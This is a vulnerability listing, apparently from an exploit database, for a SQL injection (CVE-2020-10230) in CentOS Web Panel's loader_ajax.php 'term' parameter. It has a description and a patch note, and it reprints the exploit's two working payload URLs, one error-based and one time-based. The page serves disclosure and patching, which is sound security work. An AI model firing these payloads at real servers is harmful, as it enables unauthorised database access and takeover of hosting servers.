Centos WebPanel 7 - 'term' SQL Injection

vendor:

CentOS Web Panel

by:

Berke YILMAZ

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: CentOS Web Panel

Affected Version From: v6

Affected Version To: v7

Patch Exists: YES

Related CWE: CVE-2020-10230

CPE: a:centos_webpanel:centos_webpanel

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Kali Linux, Windows 10

2020

Centos WebPanel 7 – ‘term’ SQL Injection

Centos WebPanel (http://centos-webpanel.com/) is a free Linux web hosting control panel designed for quick and easy management of (Dedicated & VPS) servers without of need to use ssh console for every little thing. This vulnerability allows an attacker to inject malicious SQL queries into the 'term' parameter of the 'loader_ajax.php' script, which can be used to extract sensitive information from the database or to execute arbitrary code on the server. The payloads used for exploiting this vulnerability are an Error Based SQL Injection and a Time Based SQL Injection.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to update to the latest version of Centos WebPanel.

Source

Exploit-DB raw data:

# Exploit Title: Centos WebPanel 7 - 'term' SQL Injection
# Google Dork: N/A
# Date: 2020-03-03
# Exploit Author: Berke YILMAZ
# Vendor Homepage: http://centos-webpanel.com/
# Software Link: http://centos-webpanel.com/
# Version: v6 - v7
# Tested on: Kali Linux - Windows 10
# CVE : CVE-2020-10230

# Type: Error Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
AND (SELECT 1197 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT
(ELT(1197=1197,1))),0x71707a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- aRuO


# Type: Time Based SQL Injection
# Payload:
https://{DOMAIN_NAME}:2031/cwp_{SESSION_HASH}/admin/loader_ajax.php?ajax=dashboard&action=searchIn&term=a'
OR SLEEP(5)-- JCpP

Centos-Webpanel (http://centos-webpanel.com/)
CentOS Web Panel | Free Linux Web Hosting Control Panel
Free CentOS Linux Web Hosting control panel designed for quick and easy
management of (Dedicated & VPS) servers without of need to use ssh console
for every little thing